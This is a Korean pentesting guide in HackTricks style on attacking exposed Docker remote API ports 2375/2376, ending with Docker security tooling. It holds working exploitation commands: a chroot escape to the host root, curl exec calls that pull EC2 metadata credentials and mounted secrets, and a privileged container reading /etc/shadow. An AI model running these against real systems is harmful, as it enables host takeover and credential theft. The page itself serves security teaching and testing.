24 KiB
2375, 2376 도커 펜테스팅
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm을 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
WhiteIntel
WhiteIntel은 다크 웹을 기반으로 하는 검색 엔진으로, 스틸러 악성 소프트웨어에 의해 회사나 고객이 침해당했는지를 확인하는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 훔치는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 무료로 엔진을 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
도커 기본
도커란
도커는 컨테이너화 산업에서 선두 플랫폼으로, 지속적인 혁신을 주도합니다. 이는 전통적인 것부터 미래 지향적인 애플리케이션의 쉬운 생성과 배포를 용이하게 하며, 다양한 환경에서의 안전한 배포를 보장합니다.
기본 도커 아키텍처
- containerd: 이것은 컨테이너의 라이프사이클을 포괄적으로 관리하는 핵심 런타임입니다. 이는 이미지 전송 및 저장을 처리하고, 컨테이너의 실행, 모니터링 및 네트워킹을 감독하는 것을 포함합니다. containerd에 대한 더 자세한 통찰력이 더 탐구됩니다.
- 컨테이너 쉼은 헤들리스 컨테이너를 다루는 데 중요한 역할을 하며, 컨테이너가 초기화된 후 runc에서 매끄럽게 대체합니다.
- runc: 가벼우면서 범용적인 컨테이너 런타임 기능으로 인해 존경받는 runc는 OCI 표준과 일치합니다. 이는 containerd가 OCI 지침에 따라 컨테이너를 시작하고 관리하는 데 사용되며, 원래 libcontainer에서 발전했습니다.
- grpc는 containerd와 도커 엔진 간의 효율적인 상호 작용을 보장하기 위해 통신을 용이하게 합니다.
- OCI는 런타임 및 이미지에 대한 OCI 사양을 유지하는 데 중요하며, 최신 도커 버전은 OCI 이미지 및 런타임 표준 모두와 일치합니다.
기본 명령어
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd는 특히 Docker와 Kubernetes와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 개발되었습니다. 이는 Linux, Windows, Solaris 등 다양한 운영 체제에서 컨테이너의 실행을 간단하게 하기 위해 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자가 필요로 하는 핵심 기능만 포함하도록 하여 불필요한 구성 요소를 배제하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 어려운 과제로 인정되고 있습니다.
중요한 설계 결정 중 하나는 Containerd가 네트워킹을 처리하지 않는 것입니다. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 검색과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 네트워킹 측면을 지원하는 플랫폼에게 맡기고 있습니다.
Docker는 Containerd를 활용하여 컨테이너를 실행하지만, Containerd는 Docker의 기능 중 일부만 지원한다는 점을 강조해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능을 갖고 있지 않으며 Docker 스웜을 직접 생성하는 것을 지원하지 않습니다. 이 차이점은 Containerd가 컨테이너 실행 환경으로서의 역할에 중점을 두고 있으며, 더 특화된 기능은 통합되는 플랫폼에 위임하고 있음을 강조합니다.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman은 Open Container Initiative (OCI) standards를 준수하는 오픈 소스 컨테이너 엔진으로, Red Hat에서 개발 및 유지보수되고 있습니다. Docker와는 다른 데몬 없는 아키텍처 및 루트리스 컨테이너 지원과 같은 몇 가지 독특한 기능으로 두드러지며, 사용자가 루트 권한 없이 컨테이너를 실행할 수 있습니다.
Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령어를 사용할 수 있습니다. 이 호환성은 Buildah와 같은 컨테이너 이미지 빌드를 위한 도구 및 Skopeo와 같은 이미지 작업(푸시, 풀, 검사)을 지원하는 도구를 포함한 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 GitHub 페이지에서 확인할 수 있습니다.
주요 차이점
- 아키텍처: Docker의 클라이언트-서버 모델과는 달리 백그라운드 데몬이 없는 Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작한 사용자의 권한으로 실행되어 루트 액세스가 필요하지 않아 보안을 강화합니다.
- Systemd 통합: Podman은 컨테이너 관리를 위해 systemd와 통합되어 있어 systemd 단위를 통해 컨테이너를 관리할 수 있습니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하기 위해 systemd를 사용하는 것과 대조됩니다.
- 루트리스 컨테이너: Podman의 중요한 기능 중 하나는 컨테이너를 시작한 사용자의 권한으로 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 손상된 사용자의 권한만 획들하고 루트 액세스를 얻지 못하도록 하여 컨테이너 침입과 관련된 위험을 최소화합니다.
Podman의 접근 방식은 Docker에 대한 안전하고 유연한 대안을 제공하며 사용자 권한 관리와 기존 Docker 워크플로와의 호환성을 강조합니다.
{% hint style="info" %} Podman이 동일한 API를 지원하도록 설계되었기 때문에 podman에서도 docker와 동일한 명령어를 사용할 수 있습니다.
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
기본 정보
원격 API는 기본적으로 2375 포트에서 실행됩니다. 활성화되면 인증이 필요하지 않으며, 공격자가 특권이 있는 도커 컨테이너를 시작할 수 있습니다. 원격 API를 사용하면 호스트/ (루트 디렉토리)를 컨테이너에 연결하고 호스트 환경의 파일을 읽거나 쓸 수 있습니다.
기본 포트: 2375
PORT STATE SERVICE
2375/tcp open docker
열거
수동
도커 API를 열거하려면 다음 예와 같이 docker
명령 또는 curl
을 사용할 수 있습니다:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
만약 원격 도커 API에 docker
명령어로 연락할 수 있다면, 서비스와 상호 작용하기 위해 이전에 언급된 도커 명령어 중 어떤 것이든 실행할 수 있습니다.
{% hint style="info" %}
export DOCKER_HOST="tcp://localhost:2375"
를 사용하여 도커 명령어에 -H
매개변수를 사용하지 않도록 할 수 있습니다.
{% endhint %}
빠른 권한 상슨
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
가끔 TLS 엔드포인트로 2376이 올라와 있는 것을 볼 수 있습니다. 도커 클라이언트로는 연결할 수 없었지만 curl을 사용하여 연결할 수 있습니다.
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
만약 이에 대해 더 많은 정보를 원한다면, 내가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
자동
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Compromising
다음 페이지에서 도커 컨테이너에서 탈출하는 방법을 찾을 수 있습니다:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
이를 악용하면 컨테이너를 탈출하여 원격 머신에서 취약한 컨테이너를 실행하고 해당 컨테이너에서 탈출하여 머신을 compromise할 수 있습니다:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
권한 상슨
만약 도커를 사용하는 호스트 내부에 있다면 이 정보를 읽어 권한을 상슨해보세요.
실행 중인 도커 컨테이너에서 비밀 정보 발견
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
env (환경 변수 섹션)에서 비밀 정보를 찾을 수 있습니다:
- 비밀번호.
- IP 주소.
- 포트.
- 경로.
- 기타... .
파일을 추출하려면:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
도커 보안
도커 설치 및 사용 보안
- 현재 도커 설치를 검사하려면 https://github.com/docker/docker-bench-security 도구를 사용할 수 있습니다.
./docker-bench-security.sh
- 현재 도커 설치를 검사하려면 https://github.com/kost/dockscan 도구를 사용할 수 있습니다.
dockscan -v unix:///var/run/docker.sock
- 다양한 보안 옵션으로 실행될 때 컨테이너가 가질 권한을 확인하려면 https://github.com/genuinetools/amicontained 도구를 사용할 수 있습니다. 이는 컨테이너를 실행하는 데 일부 보안 옵션을 사용하는 결과를 알 수 있어 유용합니다:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
도커 이미지 보안
- 다른 도커 이미지를 스캔하고 취약점을 찾기 위해 https://github.com/quay/clair 도커 이미지를 사용할 수 있습니다.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
도커 파일 보안
- Dockerfile을 검사하고 모든 종류의 잘못된 구성을 찾으려면 https://github.com/buddy-works/dockerfile-linter 도구를 사용할 수 있습니다. 각 잘못된 구성에는 ID가 할당되며, 각각을 수정하는 방법은 여기 https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md에서 찾을 수 있습니다.
dockerfilelinter -f Dockerfile
- Dockerfile을 검사하고 모든 종류의 잘못된 구성을 찾으려면 https://github.com/replicatedhq/dockerfilelint 도구를 사용할 수 있습니다.
dockerfilelint Dockerfile
- Dockerfile을 검사하고 모든 종류의 잘못된 구성을 찾으려면 https://github.com/RedCoolBeans/dockerlint 도구를 사용할 수 있습니다.
dockerlint Dockerfile
- Dockerfile을 검사하고 모든 종류의 잘못된 구성을 찾으려면 https://github.com/hadolint/hadolint 도구를 사용할 수 있습니다.
hadolint Dockerfile
수상한 활동 로깅
- 실행 중인 컨테이너에서 수상한 동작을 감지하려면 https://github.com/falcosecurity/falco 도구를 사용할 수 있습니다.
- 다음 청크에서 Falco가 커널 모듈을 컴파일하고 삽입하는 방법을 확인하세요. 그 후 규칙을 로드하고 수상한 활동을 기록하기 시작합니다. 이 경우 2개의 특권 컨테이너가 시작되었고, 그 중 하나는 민감한 마운트를 가지고 있으며, 어떤 시간 후에 컨테이너 중 하나에서 셸이 열렸음을 감지했습니다.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
도커 모니터링
도커를 모니터링하기 위해 auditd를 사용할 수 있습니다.
참고 자료
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
WhiteIntel
WhiteIntel은 다크 웹을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인할 수 있는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 무료로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**가 되는 AWS 해킹을 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왹을 구입하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나트위터** 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.